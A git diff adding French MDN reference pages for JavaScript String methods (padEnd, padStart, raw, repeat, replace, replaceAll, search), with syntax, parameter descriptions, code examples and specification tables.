+// U+1E69: LATIN SMALL LETTER S WITH DOT BELOW AND DOT ABOVE
+str.normalize("NFKC"); // "\u1E69"
+
+
+// Forme décomposée compatible (NFKD)
+
+// U+0073: LATIN SMALL LETTER S
+// U+0323: COMBINING DOT BELOW
+// U+0307: COMBINING DOT ABOVE
+str.normalize("NFKD"); // "\u0073\u0323\u0307"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-string.prototype.normalize', 'String.prototype.normalize')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-string.prototype.normalize', 'String.prototype.normalize')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.normalize")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/string/padend/index.html b/files/fr/web/javascript/reference/global_objects/string/padend/index.html new file mode 100644 index 0000000000..4bb1897fe1 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/padend/index.html @@ -0,0 +1,76 @@ +--- +title: String.prototype.padEnd() +slug: Web/JavaScript/Reference/Objets_globaux/String/padEnd +tags: + - JavaScript + - Méthode + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/padEnd +--- +
{{JSRef}}
+ +

La méthode padEnd() permet de compléter la chaîne courante avec une chaîne de caractères donnée afin d'obtenir une chaîne de longueur fixée. Pour atteindre cette longueur, la chaîne complémentaire peut être répétée. La chaîne courante est complétée depuis la fin.

+ +
{{EmbedInteractiveExample("pages/js/string-padend.html")}}
+ + + +

Syntaxe

+ +
str.padEnd(longueurCible [, chaîneComplémentaire])
+ +

Paramètres

+ +
+
longueurCible
+
La longueur de la chaîne qu'on souhaite obtenir. Si la longueur indiquée est inférieure à celle de la chaîne courante, cette dernière est renvoyée telle quelle.
+
chaîneComplémentaire {{optional_inline}}
+
La chaîne de caractères avec laquelle on veut compléter la chaîne courante. Si cette chaîne est trop longue, on prendra uniquement le début (la partie la plus à gauche pour les langues écrites de gauche à droite et la partie la plus à droite pour les langues écrites de droite à gauche). La valeur par défaut de ce paramètre est l'espace " " (U+0020). Si cette chaîne est trop courte, elle sera répétée.
+
+ +

Valeur de retour

+ +

Une chaîne de caractères ({{jsxref("String")}}) dont la longueur est celle indiquée, complétée avec la chaîne fournie.

+ +

Exemples

+ +
'abc'.padEnd(10);         // "abc       "
+'abc'.padEnd(10, "toto"); // "abctototot"
+'abc'.padEnd(6,"123456"); // "abc123"
+'abc'.padEnd(1);          // "abc"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-string.prototype.padend', 'String.prototype.padEnd')}}{{Spec2('ESDraft')}}
{{SpecName('ES8', '#sec-string.prototype.padend', 'String.prototype.padEnd')}}{{Spec2('ES8')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.padEnd")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.padStart()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/padstart/index.html b/files/fr/web/javascript/reference/global_objects/string/padstart/index.html new file mode 100644 index 0000000000..d5c3500027 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/padstart/index.html @@ -0,0 +1,78 @@ +--- +title: String.prototype.padStart() +slug: Web/JavaScript/Reference/Objets_globaux/String/padStart +tags: + - JavaScript + - Méthode + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/padStart +--- +
{{JSRef}}
+ +

La méthode padStart() permet de compléter la chaîne courante avec une chaîne de caractères donnée afin d'obtenir une chaîne de longueur fixée. Pour atteindre cette longueur, la chaîne complémentaire peut être répétée. La chaîne courante est complétée depuis le début.

+ +
{{EmbedInteractiveExample("pages/js/string-padstart.html")}}
+ + + +

Syntaxe

+ +
str.padStart(longueurCible [, chaîneComplémentaire])
+ +

Paramètres

+ +
+
longueurCible
+
La longueur de la chaîne qu'on souhaite obtenir. Si la longueur indiquée est inférieure à celle de la chaîne courante, cette dernière est renvoyée telle quelle.
+
chaîneComplémentaire {{optional_inline}}
+
La chaîne de caractères avec laquelle on veut compléter la chaîne courante. Si cette chaîne est trop longue, on prendra uniquement le début (la partie la plus à gauche quand la langue s'écrit de gauche à droite). La valeur par défaut de ce paramètre est l'espace " " (U+0020). Si cette chaîne est trop courte, elle sera répétée.
+
+ +

Valeur de retour

+ +

Une chaîne de caractères ({{jsxref("String")}}) dont la longueur est celle indiquée, complétée avec la chaîne fournie au début de la chaîne courante.

+ +

Exemples

+ +
'abc'.padStart(10);         // "        abc"
+'abc'.padStart(10, "toto"); // "totototabc"
+'abc'.padStart(6,"123465"); // "123abc"
+'abc'.padStart(8, "0");     // "00000abc"
+'abc'.padStart(1);          // "abc"
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-string.prototype.padstart', 'String.prototype.padStart')}}{{Spec2('ESDraft')}}
{{SpecName('ES8', '#sec-string.prototype.padstart', 'String.prototype.padStart')}}{{Spec2('ES8')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.padStart")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.padEnd()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/raw/index.html b/files/fr/web/javascript/reference/global_objects/string/raw/index.html new file mode 100644 index 0000000000..f509b557ce --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/raw/index.html @@ -0,0 +1,116 @@ +--- +title: String.raw() +slug: Web/JavaScript/Reference/Objets_globaux/String/raw +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/raw +--- +
{{JSRef}}
+ +

La méthode statique String.raw() est une fonction d'étiquetage (tag function) pour les gabarits de chaînes de caractères (elle est semblable au préfixe r en Python ou au préfixe @ en C#). Cette fonction permet d'obtenir la chaîne brute pour un gabarit (les caractères spéciaux ne sont pas pris en compte mais retranscrits tels quels, les séquences d'échappement ne sont pas interprétées et les emplacements (ex. ${toto}) sont traités).

+ +
{{EmbedInteractiveExample("pages/js/string-raw.html")}}
+ + + +

Syntaxe

+ +
String.raw(callSite, ...substitutions)
+
+String.raw`gabaritChaîne`
+
+ +

Paramètres

+ +
+
callSite
+
Un site d'appel bien formé pour un gabarit (call site object) tel que {raw: "string"}.
+
...substitutions
+
Paramètre contenant les valeurs à substituer.
+
gabaritChaîne
+
Un gabarit de chaîne de caractères, éventuellement avec des substitutions (${...}).
+
+ +

Valeur de retour

+ +

La chaîne de caractères brute correspondant à un gabarit donné.

+ +

Exceptions

+ +
+
{{jsxref("TypeError")}}
+
Une exception TypeError est renvoyée si le premier argument n'est pas un objet bien formé.
+
+ +

Description

+ +

Dans la plupart des cas, String.raw() est utilisé avec des gabarits de chaînes de caractères. La première syntaxe, présentée ci-avant est rarement utilisée. En effet, le moteur JavaScript appellera cette forme avec les arguments appropriés, comme pour les fonctions d'étiquetage (tag).

+ +

La méthode String.raw() est la seule méthode d'étiquetage native pour les chaînes de caractères. Elle fonctionne comme la fonction par défaut pour les gabarits et permet d'effectuer des concaténations. Il est également possible d'implémenter cette méthode avec du code JavaScript.

+ +

Exemples

+ +
String.raw`Hi\n${2+3}!`;
+// "Hi\n5!", le caractère après "Hi" n'est pas
+// le caractère de nouvelle ligne
+// "\" et "n" sont bien deux caractères distincts
+// ici.
+
+String.raw`Hi\u000A!`;
+// "Hi\u000A!", de même ici. Les caractères
+//  \, u, 0, 0, 0, A et 6 sont distincts.
+// Tous les caractères d'échappement seront
+// inefficaces. Des backslashes peuvent donc être
+// présents dans la chaîne produite. Cela peut
+// être vérifié avec la propriété .length de la
+// chaîne.
+
+let nom = "Bob";
+String.raw`Hi\n${nom}!`;
+// "Hi\nBob!", les remplacements sont effectués.
+
+// Généralement, on n'appelle pas String.raw
+// comme une fonction, mais c'est possible :
+String.raw({raw: "test"}, 0, 1, 2);
+// "t0e1s2t"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-string.raw', 'String.raw')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-string.raw', 'String.raw')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.raw")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/string/repeat/index.html b/files/fr/web/javascript/reference/global_objects/string/repeat/index.html new file mode 100644 index 0000000000..3245288bd9 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/repeat/index.html @@ -0,0 +1,87 @@ +--- +title: String.prototype.repeat() +slug: Web/JavaScript/Reference/Objets_globaux/String/repeat +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - String + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/String/repeat +--- +
{{JSRef}}
+ +

La méthode repeat() construit et renvoie une nouvelle chaine de caractères qui contient le nombre de copie demandée de la chaine de caractères sur laquelle la méthode a été appelée, concaténées les unes aux autres.

+ +
{{EmbedInteractiveExample("pages/js/string-repeat.html")}}
+ + + +

Syntaxe

+ +
str.repeat(compte)
+ +

Paramètres

+ +
+
compte
+
Un nombre entier entre 0 and +∞ : [ 0, +∞[, indiquant le nombre de fois que la chaine de caractères doit être repétée dans la nouvelle chaine de caractères.
+
+ +

Valeur de retour

+ +

Une nouvelle chaîne de caractères composée du nombre indiqué de copies de la chaîne appelante.

+ +

Exceptions

+ +
    +
  • {{jsxref("Erreurs/Negative_repetition_count", "RangeError")}} : le nombre de répétition doit être positif.
    • +
  • {{jsxref("Erreurs/Resulting_string_too_large", "RangeError")}} : le nombre de répétition ne doit pas être infini et la taille de la chaîne résultante ne doit pas dépasser la taille maximale pour une chaîne de caractères.
    • +
+ +
+
{{jsxref("RangeError")}}
+
La compteur doit être positif et inférieur à l'infini.
+
+ +

Exemples

+ +
"abc".repeat(-1)     // RangeError
+"abc".repeat(0)      // ""
+"abc".repeat(1)      // "abc"
+"abc".repeat(2)      // "abcabc"
+"abc".repeat(3.5)    // "abcabcabc" (le compteur est converti en un nombre entier)
+"abc".repeat(1/0)    // RangeError
+
+({toString : () => "abc", repeat : String.prototype.repeat}).repeat(2)
+// "abcabc" (repeat() est une méthode générique)
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaire
{{SpecName('ES2015', '#sec-string.prototype.repeat', 'String.prototype.repeat')}}{{Spec2('ES2015')}}Première définition.
{{SpecName('ESDraft', '#sec-string.prototype.repeat', 'String.prototype.repeat')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.repeat")}}

diff --git a/files/fr/web/javascript/reference/global_objects/string/replace/index.html b/files/fr/web/javascript/reference/global_objects/string/replace/index.html new file mode 100644 index 0000000000..8d4f5d44a5 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/replace/index.html @@ -0,0 +1,309 @@ +--- +title: String.prototype.replace() +slug: Web/JavaScript/Reference/Objets_globaux/String/replace +tags: + - Chaîne + - Expression + - JavaScript + - Méthode + - Prototype + - Reference + - Régulière +translation_of: Web/JavaScript/Reference/Global_Objects/String/replace +--- +
{{JSRef}}
+ +

La méthode replace() renvoie une nouvelle chaîne de caractères dans laquelle tout ou partie des correspondances à un modèle sont remplacées par un remplacement. Le modèle utilisé peut être une {{jsxref("RegExp")}} et le remplacement peut être une chaîne ou une fonction à appeler pour chaque correspondance. Si modèle est une chaîne de caractères, seule la première correspondance sera remplacée.

+ +

La chaîne de caractère originale reste inchangée.

+ +
{{EmbedInteractiveExample("pages/js/string-replace.html")}}
+ + + +

Syntaxe

+ +
chn.replace(regexp|souschn, nouvSouschn|fonction)
+ +

Paramètres

+ +
+
regexp (modèle)
+
Un objet ou un littéral {{jsxref("RegExp")}}. La ou les correspondances sont remplacées  par nouvSouschn ou par la valeur retournée par la fonction indiquée.
+
souschn (modèle)
+
Une {{jsxref("String")}} qui est à remplacer par nouvSouschn. Elle est traitée comme une chaîne de caractères verbatim et elle n'est pas interprétée comme une expression régulière. Seule la première occurrence sera remplacée.
+
nouvSouschn (remplacement)
+
La {{jsxref("String")}} qui remplace la chaîne de caractères indiquée par le paramètre regexp ou souschn. Un certain nombre de modèles de remplacement spéciaux sont supportés ; voir la section "Indiquer une chaîne de caractères comme paramètre" ci-dessous.
+
fonction (remplacement)
+
Une fonction à appeler pour créer la nouvelle sous-chaîne de caractères à utiliser pour remplacer la regexp ou la souschn donnée. Les arguments passés à cette fonction sont décrits dans la section "Indiquer une fonction comme paramètre" ci-dessous.
+
+ +

Valeur retournée

+ +

Une nouvelle chaîne de caractères avec tout ou partie des correspondances du modèle remplacées par un remplacement.

+ +

Description

+ +

Cette méthode ne change pas l'objet {{jsxref("String")}} auquel elle est appliquée. Elle retourne simplement une nouvelle chaîne de caractères.

+ +

Pour réaliser une recherche et remplacement global(e), incluez le commutateur g dans l'expression régulière.

+ +

Indiquer une chaîne de caractère comme paramètre

+ +

La chaîne de caractère de remplacement peut inclure les modèles de remplacement spéciaux suivants :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ModèleInsère
$$Insère un "$".
$&Insère la chaine de caractère en correspondance.
$`Insère la partie de la chaîne de caractère qui précède la sous-chaîne en correspondance.
$'Insère la partie de la chaîne de caractère qui suit la sous-chaîne en correspondance.
$n +

Où n est un entier positif inférieur à 100. Insère la n ième chaîne de sous-correspondance entre parenthèses, à condition que le premier argument ait été un objet {{jsxref("RegExp")}}. Notez que ceci est réalisé en indices base 1.

+
+ +

Indiquer une fonction comme paramètre

+ +

Vous pouvez indiquer une fonction comme second paramètre. Dans ce cas, cette fonction sera appelée après que la recherche a été effectuée. Le résultat de la fonction (valeur retournée) sera utilisé comme chaîne de remplacement. (Note : les modèles de remplacement spéciaux mentionnés ci-dessus ne s'appliquent pas dans ce cas). Notez que cette fonction sera appelée plusieurs fois, pour chaque correspondance complète à remplacer si l'expression régulière dans le premier paramètre est globale.

+ +

Les arguments de cette fonction sont les suivants :

+ + + + + + + + + + + + + + + + + + + + + + + + +
Nom possibleValeur fournie
correspondanceLa chaîne de caractère en correspondance. (Correspond au $& défini ci-dessus.)
p1, p2, ... +

La n-ième chaîne de sous-correspondance entre parenthèses capturantes, à condition que le premier argument de replace() soit un objet RegExp. (Correspond aux $1, $2, etc. ci-dessus.) Par exemple, si /(\a+)(\b+)/ a été indiqué, p1 correspond à \a+, et p2 à \b+.

+
decalageLe décalage entre la sous-chaîne en correspondance à l'intérieur de la chaîne complète en cours d'analyse. (Par exemple, si la chaîne complète était 'abcd', et que le chaîne en correspondance était 'bc', alors cet argument vaudra 1.)
chaineLa chaîne complète en cours d'analyse.
+ +

(Le nombre exact d'arguments varie suivant que le premier paramètre est ou non un objet {{jsxref("RegExp")}} et, dans ce cas, du nombre de sous-correspondances entre parenthèses qu'il indique.)

+ +

L'exemple suivant affectera 'abc - 12345 - #$*%' à la variable nouvelleChaine :

+ +
function remplaceur(correspondance, p1, p2, p3, decalage, chaine) {
+  // p1 est non numérique, p2 numérique, et p3 non-alphanumérique
+  return [p1, p2, p3].join(' - ');
+}
+var nouvelleChaine = 'abc12345#$*%'.replace(/([^\d]*)(\d*)([^\w]*)/, remplaceur);
+console.log(nouvelleChaine); // abc - 12345 - #$*%
+
+ +

Exemples

+ +

Définition de l'expression régulière dans replace()

+ +

Dans l'exemple suivant, l'expression régulière est définie dans replace() et inclut l'indicateur d'indifférence à la casse.

+ +
var chn = 'Twas the night before Xmas...';
+var nouvChn = chn.replace(/xmas/i, 'Christmas');
+console.log(nouvChn); // Twas the night before Christmas...
+ +

Cela affiche 'Twas the night before Christmas...'.

+ +
+

Note : Voir ce guide pour plus d'explications concernant les expressions régulières.

+
+ +

Utilisation de global et ignore avec replace()

+ +

Le remplacement global ne peut être fait qu'avec une expression régulière. Dans l'exemple suivant, l'expression régulière inclut les indicateurs global et indifférence à la casse, qui permettent à replace() de remplacer chaque occurrence de 'pommes' dans la chaîne par 'oranges'.

+ +
var re = /pommes/gi;
+var chn = 'Les pommes sont rondes, et les pommes sont juteuses.';
+var nouvChn = chn.replace(re, 'oranges');
+console.log(nouvChn); // Les oranges sont rondes, et les oranges sont juteuses.
+
+ +

Cela affiche 'Les oranges sont rondes, et les oranges sont juteuses.'.

+ +

Inverser des mots dans une chaîne de caractères

+ +

Le script suivant intervertit les mots dans la chaîne de caractères. Pour le texte de remplacement, le script utilise les modèles de remplacement $1 et $2.

+ +
var re = /(\w+)\s(\w+)/;
+var chn = 'Jean Martin';
+var nouvChn = chn.replace(re, "$2, $1");
+console.log(nouvChn); // Martin, Jean
+
+ +

Cela affiche 'Martin, Jean'.

+ +

Utilisation d'une fonction inline modifiant les caractères en correspondance

+ +

Dans cet exemple, toutes les occurrences des lettres majuscules sont converties en minuscules, et un tiret est inséré juste avant l'emplacement de la correspondance. La chose importante ici est que des opérations suppémentaires sont nécessaires sur l'élément en correspondance avant qu'il ne soit retourné comme remplacement.

+ +

La fonction de remplacement accepte le fragment en correspondance comme paramètre, et elle l'utilise pour transformer sa casse et y concaténer le tiret avant de le retourner.

+ +
function styleFormatTiret(nomPropriete) {
+  function majusculesEnTiretMinuscules(correspondance, decalage, chaine) {
+    return (decalage > 0 ? '-' : '') + correspondance.toLowerCase();
+  }
+  return nomPropriete.replace(/[A-Z]/g, majusculesEnTiretMinuscules);
+}
+
+ +

Avec styleFormatTiret('borderTop'), cela renvoie 'border-top'.

+ +

Du fait que nous voulons transformer davantage le résultat de la correspondance avant la substitution finale, nous devons utiliser une fonction. Cela force l'évaluation de la correspondance avant la méthode {{jsxref ("String.prototype.toLowerCase()", "toLowerCase()")}}. Si nous avions essayé de le faire en utilisant la correspondance sans fonction, le {{jsxref ("String.prototype.toLowerCase()", "toLowerCase()")}} n'aurait eu aucun effet.

+ +
var nouvChn = nomPropriete.replace(/[A-Z]/g, '-' + '$&'.toLowerCase()); // ne fonctionne pas
+
+ +

Ceci est dû au fait que '$&'.toLowerCase() serait d'abord évalué comme un littéral de chaîne (résultant en le même '$&') avant d'utiliser les caractères comme modèle.

+ +

Remplacer un degré Fahrenheit par son équivalent Celsius

+ +

L'exemple suivant remplace des degrés Fahrenheit par leur équivalent en degrés Celsius. Les degrés Fahrenheit doivent être un nombre se terminant par F. La fonction renvoie le nombre en Celsius se terminant par C. Par exemple, si le nombre de départ est 212F, la fonction renvoie 100C. Si le nombre de départ est 0F, la fonction retourne -17.77777777777778C.

+ +

L'expression régulière test vérifie tout nombre se terminant par F. Le nombre de degrés Fahrenheit est accessible à la fonction via son deuxième paramètre, p1. La fonction définit le nombre Celsius sur la base des degrés Fahrenheit transmis dans une chaîne à la fonction f2c(). f2c() renvoie ensuite le nombre Celsius. Cette fonction se rapproche de l'indicateur s///e de Perl.

+ +
function f2c(x) {
+  function convertir(chn, p1, decalage, s) {
+    return ((p1-32) * 5/9) + 'C';
+  }
+  var s = String(x);
+  var test = /(-?\d+(?:\.\d*)?)F\b/g;
+  return s.replace(test, convertir);
+}
+
+ +

Utiliser une fonction inline avec une expression régulière pour éviter des boucles for

+ +

L'exemple suivant accepte un modèle chaîne et le convertit en un tableau d'objets.

+ +

Entrée :

+ +

Une chaîne de caractères composée des caractères x, - et _

+ +
x-x_
+x---x---x---x---
+x-xxx-xx-x-
+x_x_x___x___x___
+ +
Sortie :
+ +
+ +
Un tableau d'objets. Un 'x' dénote un état 'marche', un '-' symbolise un état 'arret' et un  '_' (blanc souligné) symbolise la longueur d'un état 'marche'.
+ +
+ +
[
+  { marche: true, longueur: 1 },
+  { marche: false, longueur: 1 },
+  { marche: true, longueur: 2 }
+  ...
+]
+ +
Fragment :
+ +
+ +
+
var chn = 'x-x_';
+var tabRet = [];
+chn.replace(/(x_*)|(-)/g, function(correspondance, $1, $2){
+  if($1) tabRet.push({ marche: true, longueur: $1.length });
+  if($2) tabRet.push({ marche: false, longueur: 1 });
+});
+
+console.log(tabRet);
+
+ +
Ce fragment génère un tableau de 3 objets au format désiré sans utiliser de boucle for.
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée en JavaScript 1.2
{{SpecName('ES5.1', '#sec-15.5.4.11', 'String.prototype.replace')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-string.prototype.replace', 'String.prototype.replace')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-string.prototype.replace', 'String.prototype.replace')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.replace")}}

+ +

Notes spécifiques à Firefox

+ +
    +
  • flags était un troisième argument non standard disponible uniquement dans Gecko : str.replace(regexp|substr, newSubStr|function, flags)
    • +
  • À partir de Gecko 27 {{geckoRelease(27)}}, cette méthode a été modifiée pour être conforme à la spécification ECMAScript. Lorsque replace() est appelée avec une expression régulière globale, la propriété {{jsxref("RegExp.lastIndex")}} (si elle est définie) sera remise à 0 ({{bug(501739)}}).
    • +
  • À partir de Gecko 39 {{geckoRelease(39)}}, l'argument non-standard flags est désapprouvé et déclenche un avertissement dans la console ({{bug(1142351)}}).
    • +
  • À partir de Gecko 47 {{geckoRelease(47)}}, l'argument non-standard flags n'est plus supporté dans les versions non distribution et sera bientôt retiré complètement ({{bug(1245801)}}).
    • +
  • À partir de Gecko 49 {{geckoRelease(49)}}, l'argument non-standard flags n'est plus supporté ({{bug(1108382)}}).
    • +
+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.match()")}}
    • +
  • {{jsxref("RegExp.prototype.exec()")}}
    • +
  • {{jsxref("RegExp.prototype.test()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/replaceall/index.html b/files/fr/web/javascript/reference/global_objects/string/replaceall/index.html new file mode 100644 index 0000000000..d526ea36f7 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/replaceall/index.html @@ -0,0 +1,170 @@ +--- +title: String.prototype.replaceAll() +slug: Web/JavaScript/Reference/Objets_globaux/String/replaceAll +translation_of: Web/JavaScript/Reference/Global_Objects/String/replaceAll +--- +
{{JSRef}}
+ +

La méthode replaceAll() retourne une nouvelle chaîne de caractères dans la quelle toutes les occurences de pattern ont été remplacés par replacement.L'argument pattern peut être de type chaîne de caractères ou {{jsxref("RegExp")}}, et l'argument replacement peut être une chaîne de caractères ou une fonction qui sera appelée pour trouver chaque correspondances.

+ +

La chaîne de caractères initiale restera inchangée.

+ +
{{EmbedInteractiveExample("pages/js/string-replaceall.html")}}
+ + + +

Syntaxe

+ +
const newStr = str.replaceAll(regexp|substr, newSubstr|function)
+
+ +
+

Quand une `regexp` est utilisée, il est préférable d'utiliser le marqueur global ("g"); autrement, l'erreur TypeError: "replaceAll must be called with a global RegExp" sera retournée.

+
+ +

Paramètres

+ +
+
regexp (pattern)
+
Un objet ou litérale {{jsxref("RegExp")}} avec le marqueur global. Les correspondances sont remplacées par newSubstr ou la valeur retournée par la function spécifiée. Une RegExp sans le marqueur global ("g") renverra l'erreur TypeError: "replaceAll must be called with a global RegExp".
+
substr
+
Une {{jsxref("String")}} qui sera remplacée par newSubstr. Elle est traité comme une chaîne de caracère litéral et non pas comme une expression régulière.
+
newSubstr (remplacement)
+
La {{jsxref("String")}} qui remplacera la sous-chaîne indiqué par la regexp ou substr donnée en paramètre. Un certain nombre de pattern sont supportés, voir la section "Spécifier une chaîne de caractères comme paramètre" ci-dessous.
+
function (remplacement)
+
Une fonction qui a pour but de créer la nouvelle sous-chaîne qui remplacera les occurences trouvés via la regexp ou substr donnée en paramètre. Les arguments passés à cette fonction sont détaillé dans la section "Spécifier une fonction comme paramètre" ci-dessous.
+
+ +

Valeur de retour

+ +

Une nouvelle chaîne avec toutes les occurences trouvés remplacés par le pattern de remplacement.

+ +

Description

+ +

Cette méthode ne remplace ni ne modifie l'objet {{jsxref("String")}} original. Elle retourne juste une nouvelle chaîne de caractères.

+ +

Spécifier une chaîne de caractères comme paramètre

+ +

La chaîne de caractère de remplacement peut inclure les patterns de remplacement spéciaux suivant :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PatternInsertion
$$Insert un "$".
$&Insert la chaîne de caracètre trouvée.
$`Insert la portion de chaîne de caracètre qui précède celle trouvée.
$'Inserts la portion de chaîne de caracètre qui suit celle trouvée.
$nOù n est un entier positif inférieur à 100. Insert la n-ième occurence trouvée, à condition que le premier argument un objet {{jsxref("RegExp")}} . Note that this is 1-indexed.
+ +

Spécifier une fonction comme paramètre

+ +

Vous pouvez passer une fonction comlme second paramètre. Dans ce cas, la fonction sera appelée après qu'une occorence soit trouvée. Le résultat de la fonction (valeur de retour) sera utilisé comme chaîne de remplacement. (Note: Les remplacement spéciaux mentionner plus haut ne s'appliqueront pas dans ce cas.)

+ +

A noter que la fonction sera utilisé à chaque fois qu'une occurence sera rencontrée, si l'expression régulière donné en paramètre est global.

+ +

La fonction admet les argumetns suivants :

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Nom PossibleValeur fournit
matchL'occurence trouvée. (Correspond au $& du précédent tableau.)
p1, p2, ... +

Le n-ième chaîne de caractères trouvée par une sous correspondance entre parenthèses, à condition que le premier paramètre soit un objet de type {{jsxref("RegExp")}} object.
+ (Correspond aux $1, $2, ... précédents.) Par exemple, si  /(\a+)(\b+)/ à été en paramètres, p1 est la correspondance pour \a+, et p2 pour \b+.

+
offsetLe décalage de la sous-chaîne trouvée dans la chaîne d'entrée. (par exemple, si la chaîne complète d'entrée était 'abcd' et la sous-chaîne 'bc' alors, cet argument vaudra 1.)
stringLa chaîne compète examinée.
+ +

(Le nombre d'arguments exact dépend de si le premier arguments de replaceAll() est un objet de type {{jsxref("RegExp")}} et, si tel est le cas, du nombre le sous correspondance entre parenthèses qu'il spécifie.)

+ +

Exemples

+ +

Utiliser replaceAll

+ +
'aabbcc'.replaceAll('b', '.');
+// 'aa..cc'
+ +

Les retour de regex non global

+ +

Quand on utilise une expression régulère pour chercher une valeur, elle doit être global. Cela ne marchera donc pas:

+ +
'aabbcc'.replaceAll(/b/, '.');
+TypeError: replaceAll must be called with a global RegExp
+
+ +

Ceci marchera:

+ +
'aabbcc'.replaceAll(/b/g, '.');
+"aa..cc"
+
+ +

Spécifications

+ + + + + + + + + + + + +
Spécification
{{SpecName('ESDraft', '#sec-string.prototype.replaceall', 'String.prototype.replaceAll')}}
+ +

Browser compatibility

+ + + +

{{Compat("javascript.builtins.String.replaceAll")}}

+ +

A voir également

+ +
    +
  • {{jsxref("String.prototype.replace", "String.prototype.replace()")}}
    • +
  • {{jsxref("String.prototype.match", "String.prototype.match()")}}
    • +
  • {{jsxref("RegExp.prototype.exec", "RegExp.prototype.exec()")}}
    • +
  • {{jsxref("RegExp.prototype.test", "RegExp.prototype.test()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/search/index.html b/files/fr/web/javascript/reference/global_objects/string/search/index.html new file mode 100644 index 0000000000..76ddab1f26 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/search/index.html @@ -0,0 +1,106 @@ +--- +title: String.prototype.search() +slug: Web/JavaScript/Reference/Objets_globaux/String/search +tags: + - Expressions rationnelles + - JavaScript + - Méthode + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/search +--- +
{{JSRef}}
+ +

La méthode search() éxecute une recherche dans une chaine de caractères grâce à une expression rationnelle appliquée sur la chaîne courante.

+ +
{{EmbedInteractiveExample("pages/js/string-search.html")}}
+ + + +

Syntaxe

+ +
str.search(regexp)
+ +

Paramètres

+ +
+
regexp
+
Un objet représentant une expression rationnelle. Si l'objet passé n'est pas un objet d'expression régulière, il est directement converti en une instance de {{jsxref("RegExp")}} en utilisant new RegExp(obj).
+
+ +

Valeur de retour

+ +

Si la recherche aboutit, search() renvoie un entier qui correspond à l'indice de la première correspondance trouvée dans la chaîne. Si rien n'est trouvé, la méthode renvoie -1.

+ +

Description

+ +

Si la recherche est positive, search() renvoie l'indice de la première correspondance pour l'expression rationnelle au sein de la chaine de caractères. Sinon, la méthode renvoie -1.

+ +

Si on souhaite savoir si un motif est trouvé dans une chaine de caractères, on utilisera cette méthode (semblable à la méthode {{jsxref("RegExp.prototype.test", "test()")}}) du prototype de RegExp ; pour plus d'informations (mais une éxecution plus lente), on utilisera {{jsxref("String.prototype.match", "match()")}} (semblable à la méthode {{jsxref("RegExp.prototype.exec", "exec()")}} pour les expressions rationnelles). La méthode test est semblable mais renvoie uniquement un booléen indiquant si une correspondance a été trouvée.

+ +

Exemples

+ +

Dans l'exemple suivant, on utilise une chaîne de caractères pour laquelle on applique deux expressions rationnelles (la première permet d'obtenir une correspondance et la seconde n'en trouve aucune).

+ +
var maChaine = "CoucOu";
+var regex1 = /[A-Z]/g;
+var regex2 = /[.]/g;
+
+console.log(maChaine.search(regex1)); // Renvoie 0, la position de la première majuscule
+console.log(maChaine.search(regex2)); // Renvoie -1 car il n'y a aucun point dans la chaîne
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2
{{SpecName('ES5.1', '#sec-15.5.4.12', 'String.prototype.search')}}{{Spec2('ES5.1')}} 
